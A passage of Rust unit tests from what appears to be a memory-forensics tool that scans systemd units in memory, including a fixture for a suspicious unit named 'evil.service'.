889        let result = walk_systemd_units(&reader).unwrap_or_default();
890        assert!(
891            result.is_empty(),
892            "executable VMA must not be scanned; found: {:?}",
893            result.iter().map(|u| &u.unit_name).collect::<Vec<_>>()
894        );
895    }
896
897    #[test]
898    fn systemd_unit_info_debug_format() {
899        let info = SystemdUnitInfo {
900            unit_name: "evil.service".to_string(),
901            exec_start: "/tmp/evil.sh".to_string(),
902            vma_start: 0xFFFF_8000_1000_0000,
903            unit_type: "service".to_string(),
904            is_suspicious: true,
905        };
906        let debug = format!("{info:?}");
907        assert!(debug.contains("evil.service"));
908        assert!(debug.contains("is_suspicious: true"));
909    }
910}